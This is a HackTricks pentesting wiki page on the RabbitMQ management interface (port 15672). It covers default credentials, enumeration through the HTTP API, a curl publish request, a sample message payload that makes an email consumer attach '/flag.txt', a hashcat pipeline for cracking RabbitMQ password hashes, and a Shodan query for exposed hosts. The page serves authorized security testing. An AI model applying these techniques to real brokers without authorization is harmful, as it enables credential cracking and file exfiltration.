---
title: "15672 - Pentesting RabbitMQ Management"
section: "Network Services"
sectionSlug: "network-services-pentesting"
sourcePath: "src/network-services-pentesting/15672-pentesting-rabbitmq-management.md"
sourceUrl: "https://github.com/HackTricks-wiki/hacktricks/blob/188de82beb54e70956b2952367a0af91d26758b8/src/network-services-pentesting/15672-pentesting-rabbitmq-management.md"
sha: "188de82beb54e70956b2952367a0af91d26758b8"
isIndex: false
modified: true
license: "CC-BY-NC-4.0"
---
# 15672 - Pentesting RabbitMQ Management
## Basic Information
You can learn more about RabbitMQ in [**5671,5672 - Pentesting AMQP**](/hacktricks/network-services-pentesting/5671-5672-pentesting-amqp).
When the RabbitMQ management plugin is enabled, it exposes a browser UI and HTTP API, typically over HTTP on TCP port **15672**. This port is not an AMQP listener.<sup>[[1]](#references)</sup>
The login page looks like this:

## Enumeration
RabbitMQ creates a `guest` user with password `guest` by default, but the broker rejects remote connections for that user unless an administrator explicitly changes the loopback-user configuration. Consequently, these credentials normally work only from localhost.<sup>[[2]](#references)</sup> If authorized credential auditing is in scope, see [**brute-force the login**](https://github.com/HackTricks-wiki/hacktricks/blob/188de82beb54e70956b2952367a0af91d26758b8/src/generic-hacking/brute-force.md#http-post-form).
Enable the plugin on a system you administer with:
```text
rabbitmq-plugins enable rabbitmq_management
```
The plugin normally starts without a node restart. On a legacy service-managed lab where a restart is specifically required, the historical command is `sudo service rabbitmq-server restart`; expect a temporary broker outage and do not run it on production without approval.<sup>[[1]](#references)</sup>
Once you have authenticated, you will see the admin console:

With valid credentials and suitable permissions, `GET /api/connections` (for example, `http://localhost:15672/api/connections` from the broker itself) lists client connections. The API also exposes cluster, node, exchange, queue, binding, user, permission, and virtual-host information.<sup>[[1]](#references)</sup><sup>[[3]](#references)</sup>
An authorized user with write permission can publish a message through an exchange. For example, the following request publishes `test` through the default exchange to the queue named by `routing_key`:<sup>[[3]](#references)</sup>
```bash
curl -u '<user>:<password>' \
-H 'content-type: application/json' \
-X POST 'http://<host>:15672/api/exchanges/%2F/amq.default/publish' \
--data '{"properties":{},"routing_key":"queue-name","payload":"test","payload_encoding":"string"}'
```
The message body can itself be structured JSON for an application consumer. For example, a queue-backed email worker might accept recipient and attachment fields:<sup>[[3]](#references)</sup>
```json
{
"properties": {"delivery_mode": 1, "headers": {}},
"routing_key": "email",
"payload": "{\"to\":\"recipient@example.com\",\"attachments\":[{\"path\":\"/flag.txt\"}]}",
"payload_encoding": "string"
}
```
RabbitMQ only transports this data; file access or command impact depends entirely on how the downstream consumer validates and processes the message.
## Auditing internal password hashes
RabbitMQ's internal authentication backend salts and hashes passwords. SHA-256 is the default in current releases, but SHA-512 and legacy MD5 can be configured; identify `password_hashing_module` before selecting a cracking mode.<sup>[[4]](#references)</sup> For a base64-encoded SHA-256 hash in RabbitMQ's `salt || digest` representation:
```bash
printf '%s' '<base64_hash>' | base64 -d | xxd -p -c 128 | perl -pe 's/^(.{8})(.*)/$2:$1/' > hash.txt
hashcat -m 1420 --hex-salt hash.txt wordlist
```
Hashcat mode 1420 implements `sha256($salt.$pass)`, which matches RabbitMQ's default salted SHA-256 construction after the conversion above.<sup>[[5]](#references)</sup>
### Shodan
- `port:15672 http`
## References
- [1] [RabbitMQ documentation - Management plugin](https://www.rabbitmq.com/docs/management)
- [2] [RabbitMQ documentation - Guest user and remote access](https://www.rabbitmq.com/docs/access-control#loopback-users)
- [3] [RabbitMQ documentation - HTTP API reference](https://www.rabbitmq.com/docs/http-api-reference)
- [4] [RabbitMQ documentation - Credentials and passwords](https://www.rabbitmq.com/docs/passwords)
- [5] [Hashcat wiki - Hash mode 1420](https://hashcat.net/wiki/doku.php?id=hashcat)